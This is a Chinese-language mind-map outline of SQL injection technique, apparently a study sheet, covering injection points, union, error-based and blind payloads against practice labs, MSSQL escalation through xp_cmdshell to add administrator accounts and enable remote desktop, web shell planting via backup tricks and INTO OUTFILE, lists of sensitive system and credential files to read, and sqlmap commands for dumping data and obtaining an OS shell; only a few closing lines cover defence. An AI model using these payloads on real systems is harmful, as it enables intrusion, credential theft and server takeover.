SQL 注入
2021-11-26 23:15:27 1 举报
AI智能生成
常见SQL 注入流程
作者其他创作
大纲/内容
注入攻击原理
注入产生的原因是接受了相关参数未经处理直接带入数据库查询操作;注入攻击属于服务注入漏洞的检测方式,它与操作系统,数据库类型,脚本语言无关。和人有关
注入漏洞的检测方式
单引号’ 或 and 1=1 和 1=2
如何查找注入点
与数据库交互的相关界面
http://www.***.com/888.asp?id=xx (ASP注入)
http://www.***.com/888.php?id=xx (PHP注入)
http://www.***.com/888.jsp?id=xx (JSP注入)
http://www.*****.com/***.aspx?id=xx (aspx注入)
登录界面;更新信息界面;注册界面;留言板 查询 删除等
http header 注入
把http header 直接代入数据库
cookie 注入
数据参数写入到cookice参数里面
可能出现的地方
http头 ;cookices;referee;user agent;post 提交数据包的地方
注入类型
数字型(post)
ID 参数为数字
or 1=1
字符型(get)
ID 参数为字母
ASP的万能密码是'or'='or'
PHP的万能密码是'or 1=1#*
搜索型
带百分号select *from 表名 where 字段名 like '%(对应值)%‘ 例:mysql> select * from member where username like‘%vince%' or 1=1 #%;
xx型
由于SQL 语句拼接方式不同 产生的 :username = ('xx') or 1=1#;
注入提交方式
get 提交
地址栏可以看见参数
post 提交
通过burp抓包
cookie 提交
当打开GET或者POST界面时,发现有注入防范,通过burp抓包,可以把GET或者POST参数写入到COOKIE里面进行注入,(前提是接受用户参数的地方是Request,并未对COOKIE进行防范)
通过burp抓包
通过burp抓包
通过burp抓包
HTTP head 头 提交
user-agent / xss / referer / IP { User-Agent :payload Mozilla' or updatexml(1,concat(0x7e,database ()),0) or '}
伪静态注入
中间件加载了伪静态插件代码。其实不是真正的静态页面。
注入攻击支持类型
union 注入(联合查询)
(union操作符一般与order by 语句配合使用)
a' union select database(),user(),version()#%
information _ schema 注入 (只支持MySQL 数据库 系统大于5.0)
能快速查询出所有数据库内容, 一般会配合联合查询, 不单独使用
1:获取数据库表名 u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#
2:获取数据库字段名 pikachu数据库的字段名,输入: k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
3:最后获取字段值的内容,输入 kobe'union select username ,password,3 from users#%
基于函数报错注入( 因后台没有屏蔽数据库报错信息, 在语法发生错误时 会输出在前端 )在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息
updatexml 注入 (是MySQL对XML 文档数据进行查询和修改的XPATH函数)
荷载注入
爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
爆数据库当前用户
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
爆表
获取数据库表名,输入:k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#,但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示
输入k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#更改limit后面的数字limit 0完成表名遍历
爆字段
获取字段名,输入:k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#
爆字段内容
获取字段内容,输入:k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
insert (插入)注入
爆表名
oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
爆内容
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
' or updatexml(0,concat(0x7e,(database())),0) or'
delete (删除)注入 一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入
delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)
extractvalue 注入 (是MySQL对XML 文档数据进行查询的XPATH函数)
floor 注入 (MySQL 中用来取整的函数)
盲注
基于boolian布尔型SQL 盲注
输入语句,通过对比ascii码的长度,判断出数据库表名的第一个字符。
select ascii(substr(database(),1,1))>xx;
基于base on time时间型SQL 盲注
基于堆叠型 WAITFOR DELAY '0:0:5'--
vince' and sleep (x) #
基于时间的延迟,构造一个拼接语句: vince' and if(substr(database(),1,1)='X' (猜测点)',sleep(10),null#,输入后,如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误,输入:vince' and if(substr(database(),1,1)='p',sleep(10),null)#,再web控制台下,判断出database的表名的一个字符为p。
基于报错型SQL 盲注
子主题
宽字节注入当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),\(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。
跟GBK 字体有关, %df' or 1=1 注意二次转义
数据库手工注入流程
Access 数据库
猜测数据库表名
手工猜测 and exists (select * from users) / 工具 pangolin 穿山甲
猜测数据库字段名
手工猜测 and exists (select password from administrator)
猜测数据库字段内容
手工使用ASCll 码查询
SQL 注入中的高级查询
order by
union select 1,2,3,4,5,6,7,8 from
偏移注入
子主题
跨库查询
子主题
Mssql数据库
一:检查是否是MySQL数据库
and exists (select * from sysobjects)
页面返回正常,则说明为MsSQL注入点
页面返回正常,则说明为MsSQL注入点
二:查询当前数据库库名
and system_user=0
三: 检查注入点权限and 1=(select IS_SRVROLEMEMBER('sysadmin')) / and 1=(select is_srvrolemember('db_owner')) /and 1=(select is_srvrolemember('public'))
①SA 最高权限
四:判断一下xp_cmdshell(执行操作系统命令)储存过程是否存在
MySQL数据库2000年之前的版本默认打开,2000之后版本被禁用and 1=(Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')
恢复 xp_cmdshell 可用 ;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure ' xp_cmdshell', 1;RECONFIGURE;--
恢复 xp_regwrite 可用 ;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure ' xp_regwrite', 1;RECONFIGURE;--
五:添加账号
创建账号;exec master..xp_cmdshell 'net user test/add'
添加管理员组 exec master..xp_cmdshell 'net locaigroup administrators test/add'
查看 net user test
六:打开3389端口 支持远程桌面连接
操作注册表 ;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
②dbowner
四:找出网站路径
1:通过 报错信息 或者baidu google 曾经报错信息 威胁情报等信息查找
2:通过相关语句查询
删除不存在的表 再创建一个 ;drop table black;create table temp(dir nvarchar (255), depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY (1,1));--
查找数据并插入到数据库表中 ;insert into black exec master..xp_cmdshell 'dir /s c: \1.aspx '--
查询id=1的结果 and (select result from black where id=1)>0--
五:注入反向木马webshell
master..xp_cmd(使用菜刀)
插入一句话木马 %20;exec%20master..xp_cmdshell%20'Echo%20"<%eval%20request("chopper")%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\muma.asp'--
差异备份(使用 Getwebshell)
;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple
③public
四:获取当前数据库名称:
and db_name()=0--
五:获取Mssql所有数据库名和路径:
%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--
六:获取当前数据库所有表名:
and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--
七:爆破表明及字段名:
having 1=1--
group by admin.id having 1=1--
group by admin.id,admin.name having 1=1--
八:获取字段内容:
/**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1
Mysql 数据库
版本区别
mysql 4 版本及以下
MySQL 4版本数据库由于存在着字符转义与不支持字句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。
首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。
首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。
mysql 5 版本及以上
MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多
通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。
通过dumpfile/outfile函数导出获取WebShell。
通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。
通过dumpfile/outfile函数导出获取WebShell。
mysql用户密码储存位置
数据库最高权限用户是root 密码保存在mysql数据库的user表中,密码是采用mysql5特有的加密,通过cmd5网站进行解密或通过cain等这类专业可以对mysql hash破解.所以对数据库做安全的时候无论如何不能给网站root 权限,一定要给一个普通用户权限。
mysql注入流程
一:检查注入点' 与 and 1=1 / and 1=2
二: order by 1,2--+&Submit=Submit#
三:union select user(),version()--+&Submit=Submit# 查看数据库用户名和版本、库名(dvwa)
四:'union select 1,group_concat(schema_name) from information_schema.schemata+--+&Submit=Submit 获取mysql所有库
五:union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+&Submit=Submit 获取dwva表名
guestbook,users
guestbook,users
六:union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit 获取所有user表里面的字段
table_name=0x7573657273 不转成十六进制也可以table_name="users"
table_name=0x7573657273 不转成十六进制也可以table_name="users"
七:union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit 获取所有字段内容 0x7c =|
八:对服务器文件进行读写操作(前提条件)
1:需要知道web站点 远程目录
获取web路径的方法
%27%20union%20select%201,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+--+&Submit=Submit 路径记得转化为十六进制
常见WINDOWS下配置文件:
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
d:\APACHE\Apache2\conf\httpd.conf
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
d:\APACHE\Apache2\conf\httpd.conf
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
2:需要mysql root 权限
3:需要远程目录有写权限
4:需要数据库开启secure_file_priv 相当于secure_file_priv的值为空,不为空不充许写入webshell (默认不开启,需要修改php.ini配置文件)
十:写webshell获取权限
union select "<?php @eval($_POST['123']);?>",2 into outfile "c:\\php\\htdocs\\123.php"+--+&Submit=Submit
sqlmap工具
-r
指定参数post注入 sqlmap.py -r post.txt -p 注入参数
-u
get注入 sqlmap.py -r
–-level= 3 (LEVEL)
执行测试的等级(1-5,默认为1),使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。
--risk=3 (RISK)
执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
-v
ERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。
-p
-p 后面接参数,针对单个参数注入 id=1 -p
-threads
线程数,如果你想让sqlmap跑的更快,可以更改这个线程 数的值,默认值为10
-batch-smart
智能判断测试
--mobile
模拟测试手机环境站点
-m
批量注入
注入获取数据命令
--dbs //默认情况系sqlmap会自动的探测web应用后端的数据库类型:MySQL、Oracle、PostgreSQL、MicrosoftSQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAPMaxDB、DB2
--current-user:大多数数据库中可检测到数据库管理系统当前用户
--current-db:当前连接数据库名
--is-dba:判断当前的用户是否为管理
--users:列出数据库所有所有用户
--current-user:大多数数据库中可检测到数据库管理系统当前用户
--current-db:当前连接数据库名
--is-dba:判断当前的用户是否为管理
--users:列出数据库所有所有用户
获取表名
--tables -D 数据库名
字段名
--columns -T user -D abc
数据内容
-T user -C username,password,email --dump
读文件内容
--file-read /etc/password
系统交互的shell
--os-shell
写webshell
--file-write "c:/3.txt” --file-dest “C:/phpStudy/WWW/3.php” -v1 /*将/software/nc.exe文件上传到C:/WINDOWS/Temp下*/
sqlmap绕过waf(网络应用防火墙)通过python 脚本
--tamper ""
注入 防御
代码层面
开启函数过滤
直接下载相关防范注入文件,通过incloudbaoh包含放在网站的配置文件中
PDO 预处理:http://www.php.cn/course/868.html
网络层面
通过WAF设备启用防止SQL 注入策略
云端防护 阿里云盾 / 360网站卫士
0 条评论
下一页